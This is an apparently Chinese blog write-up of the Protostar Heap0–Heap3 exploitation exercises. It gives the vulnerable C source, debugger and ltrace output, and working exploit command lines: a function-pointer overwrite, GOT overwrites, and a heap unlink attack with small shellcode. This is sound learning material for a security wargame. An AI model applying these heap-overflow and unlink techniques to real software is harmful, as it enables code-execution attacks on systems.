Protistar-Heap

Protistar-Heap

Heap0

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;
  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;
  printf("data is at %p, fp is at %p\n", d, f);
  strcpy(d->name, argv[1]);
  f->fp();
}

看的出来需要我们通过strcpy修改f->tp()的值来达到目的.

首先查找winner的地址

objdump -d heap0 | grep winner
08048464 winner

最后exp如下:

$ ./heap0 `python -c "print 'a'*72+'\x64\x84\x04\x08'"`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap1

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

首先使用ltrace看一下库函数的调用:

ltrace ./heap1 "aaaa" "bbbb"
__libc_start_main(0x80484b9, 3, 0xbffffd94, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                        = 0x0804a008
malloc(8)                                        = 0x0804a018
malloc(8)                                        = 0x0804a028
malloc(8)                                        = 0x0804a038
strcpy(0x0804a018, "aaaa")                       = 0x0804a018
strcpy(0x0804a038, "bbbb")                       = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                 = 25
+++ exited (status 25) +++

我们只要将argv2的内容修改为winner的地址就可以了。
接着我们查看一下库函数的地址

$ objdump -R heap1

heap1:     file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

printf调用是put函数,这里直接使用put函数的地址。

查找winner的地址是

$ objdump -d heap1 | grep winner
08048494 <winner>:

exp如下:

$ ./heap1 `python -c "print 'a'*20+'\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1478723785

Heap2

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;

      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

strdup()函数的功能是得到一个现有字符串的copy。

直接查看auth和service分配的地址是多少,auth是0x804c008,service是0x804c018,而auth->auth是0x804c028,想要覆盖auth->auth的地址,service地址大于16字节就可以了

$ ./heap2
[ auth = (nil), service = (nil) ]
auth 1
[ auth = 0x804c008, service = (nil) ]
service1
[ auth = 0x804c008, service = 0x804c018 ]
service1
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]

Heap3

转载来自http://www.iromise.com/2016/11/12/Protostar-Heap3/

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

首先,我们来看一下基本的库调用过程

$ ltrace ./heap3 aaaa bbbb cccc
__libc_start_main(0x8048889, 4, 0xbffffd94, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffffc5c) = 4096
sbrk(4096)                                       = 0x0804c000
sbrk(0)                                          = 0x0804d000
strcpy(0x0804c008, "aaaa")                       = 0x0804c008
strcpy(0x0804c030, "bbbb")                       = 0x0804c030
strcpy(0x0804c058, "cccc")                       = 0x0804c058
puts("dynamite failed?"dynamite failed?
)                         = 17
+++ exited (status 17) +++

这样我们就知道了基本的调用过程。下面进行gdb调试,我们一点一点看。我们先在全部copy完的地方下一个断点,然后查看内存状态。

$ gdb heap3
gdb heap3
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/heap3...done.
(gdb) break *main+133
Breakpoint 1 at 0x804890e: file heap3/heap3.c, line 24.
(gdb) r aaaa bbbb cccc
Starting program: /opt/protostar/bin/heap3 aaaa bbbb cccc
Breakpoint 1, 0x0804890e in main (argc=4, argv=0xbffffd54) at heap3/heap3.c:24
24    heap3/heap3.c: No such file or directory.
    in heap3/heap3.c
(gdb) x/30x 0x0804c000
0x804c000:    0x00000000    0x00000029    0x61616161    0x00000000
0x804c010:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c020:    0x00000000    0x00000000    0x00000000    0x00000029
0x804c030:    0x62626262    0x00000000    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c050:    0x00000000    0x00000029    0x63636363    0x00000000
0x804c060:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c070:    0x00000000    0x00000000

可以看到对应的内存位置,对应29表示最低位为1,即相应块的前驱目前正在被使用,也可以分析类似的信息。

然后查看free c之后的状态

(gdb) break *main+145
Breakpoint 2 at 0x804891a: file heap3/heap3.c, line 25.
(gdb) continue
Continuing.
Breakpoint 2, 0x0804891a in main (argc=4, argv=0xbffffd54) at heap3/heap3.c:25
25    in heap3/heap3.c
(gdb)  x/30x 0x0804c000
0x804c000:    0x00000000    0x00000029    0x61616161    0x00000000
0x804c010:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c020:    0x00000000    0x00000000    0x00000000    0x00000029
0x804c030:    0x62626262    0x00000000    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c050:    0x00000000    0x00000029    0x00000000    0x00000000
0x804c060:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c070:    0x00000000    0x00000000

可以看到由于C的相应位已经被设置为了0。 我们继续看free b之后的效果

(gdb) break *main+157
Breakpoint 3 at 0x8048926: file heap3/heap3.c, line 26.
(gdb) continue
Continuing.
Breakpoint 3, 0x08048926 in main (argc=4, argv=0xbffffd54) at heap3/heap3.c:26
26    in heap3/heap3.c
(gdb) x/30xw 0x0804c000
0x804c000:    0x00000000    0x00000029    0x61616161    0x00000000
0x804c010:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c020:    0x00000000    0x00000000    0x00000000    0x00000029
0x804c030:    0x0804c050    0x00000000    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c050:    0x00000000    0x00000029    0x00000000    0x00000000
0x804c060:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c070:    0x00000000    0x00000000

经过这次free之后,出现了合并操作,b的fd指针指向了c所处的位置。

最后,我们看一下free a之后的效果,如下

(gdb) break *main+165
Breakpoint 4 at 0x804892e: file heap3/heap3.c, line 28.
(gdb) continue
Continuing.
Breakpoint 4, main (argc=4, argv=0xbffffd54) at heap3/heap3.c:28
28    in heap3/heap3.c
(gdb) x/30xw 0x0804c000
0x804c000:    0x00000000    0x00000029    0x0804c028    0x00000000
0x804c010:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c020:    0x00000000    0x00000000    0x00000000    0x00000029
0x804c030:    0x0804c050    0x00000000    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c050:    0x00000000    0x00000029    0x00000000    0x00000000
0x804c060:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c070:    0x00000000    0x00000000

这里a的fd指针也进行了改变。 上面的主要是为了方便理解,下面进行真正的操作,在看了DWORDSHOOT的原理之后,我们大概就是需要去找一个要unlink的块,然后利用它去改变对应的程序流程,既然程序中使用了strcpy,那我们就可以进行覆盖,为了方便,我们直接以c进行操作,修改之后如下

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk=-4                         |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes=-4                    |P=0|
0x0804c058  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |  Forward pointer to next chunk in list=随便                   |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |  Back pointer to previous chunk in list=address of @puts-12   |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |                     address of shellcode                      .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

上面我们将chunk c的prev_size故意设置为-4.并且P=0。这样的话,当释放C的时候,就满足了unlink的条件,并且我们产生了另一个chunk,记为 now,如下

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk=-4                         |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes=随便                    |P|
0x0804c05c  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |  Forward pointer to next chunk in list=address of @puts-12    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |  Back pointer to previous chunk in list=address of shellcode  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

这时候,我们是对now进行unlink,故意把fd设置为-12是为了修改puts的jump地址,这个可以自行推导。同时我们可以巧妙的设置的shellcode,这样利用puts函数调用的时候就可以执行winner函数了。如下

$ ./heap3 `python -c "print '\x90'*16+'\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'a'*32+'\xfc\xff\xff\xff'*2+'aaaa'+'\x1c\xb1\x04\x08'+'\x04\xc0\x04\x08'"` f
that wasn't too bad now, was it? @ 1478775401
文章目录
  1. 1. Protistar-Heap
    1. 1.1. Heap0
    2. 1.2. Heap1
    3. 1.3. Heap2
    4. 1.4. Heap3
|